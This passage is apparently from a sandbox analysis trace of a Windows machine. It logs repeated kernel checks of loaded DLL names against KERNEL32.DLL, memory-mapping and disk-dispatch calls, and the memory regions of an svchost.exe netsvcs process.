(Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\Apphlpdm.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.473] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wer.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.734] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dot3api.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.735] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.738] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanhlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.739] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.739] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.740] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\onex.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.740] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappprxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.741] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.771] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanhlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.772] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.772] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.773] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\onex.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.773] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappprxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.774] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.890] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dot3api.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.890] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.894] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanhlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.894] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.895] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.895] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\onex.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.896] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappprxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.896] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.928] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanhlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.930] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.930] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.931] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\onex.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.932] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappprxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.933] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 222 os_tid = 0x11c Thread: id = 233 os_tid = 0x184 Thread: id = 234 os_tid = 0x170 Thread: id = 262 os_tid = 0x418 [0089.250] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\uxsms.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 263 os_tid = 0x41c Thread: id = 274 os_tid = 0x454 Thread: id = 277 os_tid = 0x460 Thread: id = 431 os_tid = 0x6f0 [0104.462] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\pcasvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0104.467] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\apphelp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0104.469] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\aepic.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0104.472] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sfc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0104.474] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sfc_os.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0104.478] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\version.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0104.479] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wevtapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 435 os_tid = 0x700 [0104.987] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sysmain.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0105.001] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shell32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0105.111] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ntmarta.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0105.112] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\Wldap32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0105.121] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c42000 [0105.121] IdePortDispatch () returned 0x103 [0105.122] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c64000 [0105.122] IdePortDispatch () returned 0x103 [0105.136] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d38000 [0105.136] IdePortDispatch () returned 0x103 [0105.137] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d39000 [0105.137] IdePortDispatch () returned 0x103 [0105.140] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5b000 [0105.140] IdePortDispatch () returned 0x103 [0105.141] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5c000 [0105.141] IdePortDispatch () returned 0x103 [0105.142] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5d000 [0105.142] IdePortDispatch () returned 0x103 [0105.142] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5e000 [0105.142] IdePortDispatch () returned 0x103 [0105.143] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5f000 [0105.143] IdePortDispatch () returned 0x103 [0105.144] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d60000 [0105.144] IdePortDispatch () returned 0x103 [0105.145] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffffa8000000000) returned 0xfffff88002d61000 [0105.145] IdePortDispatch () returned 0x103 [0105.145] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d62000 [0105.146] IdePortDispatch () returned 0x103 [0105.146] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d64000 [0105.146] IdePortDispatch () returned 0x103 [0105.147] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d65000 [0105.147] IdePortDispatch () returned 0x103 [0105.148] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d66000 [0105.148] IdePortDispatch () returned 0x103 [0105.149] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d67000 [0105.149] IdePortDispatch () returned 0x103 [0105.149] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d68000 [0105.149] IdePortDispatch () returned 0x103 [0105.150] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d69000 [0105.150] IdePortDispatch () returned 0x103 [0105.153] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d6a000 [0105.153] IdePortDispatch () returned 0x103 [0105.180] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c0c000 [0105.180] IdePortDispatch () returned 0x103 [0105.201] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a6000 [0105.201] IdePortDispatch () returned 0x103 [0105.202] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a7000 [0105.202] IdePortDispatch () returned 0x103 Thread: id = 437 os_tid = 0x708 [0105.230] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\trkwks.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 438 os_tid = 0x70c Thread: id = 440 os_tid = 0x714 Thread: id = 472 os_tid = 0x79c [0108.882] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netman.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0108.890] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0108.890] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winnsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 473 os_tid = 0x7a0 [0108.918] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wpdbusenum.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.119] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\PortableDeviceApi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.373] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\PortableDeviceConnectApi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.400] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wintrust.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 474 os_tid = 0x7a4 [0108.949] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wdi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 479 os_tid = 0x7b8 Thread: id = 486 os_tid = 0x7d4 Thread: id = 490 os_tid = 0x7e4 [0111.378] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netcfgx.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0111.380] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\devrtl.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0111.488] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dot3api.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0111.491] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\atl.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0111.494] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0111.614] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanhlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0111.621] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\atl.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0111.623] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0111.631] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0111.636] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\onex.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0111.643] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappprxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0111.651] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0112.003] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\hnetcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0112.004] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\atl.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0112.004] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\slc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0112.008] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbem\\wbemprox.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0112.008] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbemcomn.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0112.466] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbem\\wbemsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.828] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbem\\fastprox.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.829] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ntdsapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.887] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanhlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.888] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.888] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.889] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\onex.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.889] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappprxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.890] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\eappcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 494 os_tid = 0x7f0 Process: id = "19" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x10553000" os_pid = "0x374" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" Region: id = 1418 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1419 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1420 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1421 start_va = 0x150000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 1422 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 1423 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1424 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1425 start_va = 0xff1c0000 end_va = 0xff1cafff entry_point = 0xff1c246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" Region: id = 1426 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 1427 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1428 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1429 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1430 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1431 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1432 start_va = 0x220000 end_va = 0x31ffff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 1433 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 1434 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 1435 start_va = 0x60000 end_va = 0x6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1436 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 1437 start_va = 0x3a0000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 1438 start_va = 0x3b0000 end_va = 0x4affff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 1439 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1440 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1441 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 1442 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 1443 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 1444 start_va = 0xe0000 end_va = 0xe6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1445 start_va = 0xf0000 end_va = 0xf1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1446 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1447 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 1448 start_va = 0x4b0000 end_va = 0x637fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 1449 start_va = 0x640000 end_va = 0x7c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 1450 start_va = 0x7d0000 end_va = 0x88ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 1451 start_va = 0x890000 end_va = 0xc82fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 1452 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 1453 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 1454 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 1455 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 1456 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 1457 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 1458 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 1459 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 1460 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 1461 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 1462 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 1463 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 1464 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 1465 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 1466 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 1467 start_va = 0xda0000 end_va = 0xe1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 1468 start_va = 0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 1469 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 1470 start_va = 0xe90000 end_va = 0xf0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e90000" filename = "" Region: id = 1471 start_va = 0x1010000 end_va = 0x110ffff entry_point = 0x0 region_type = private name = "private_0x0000000001010000" filename = "" Region: id = 1472 start_va = 0x1110000 end_va = 0x13defff entry_point = 0x1110000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 1473 start_va = 0x7fefbb30000 end_va = 0x7fefbb5cfff entry_point = 0x7fefbb31010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" 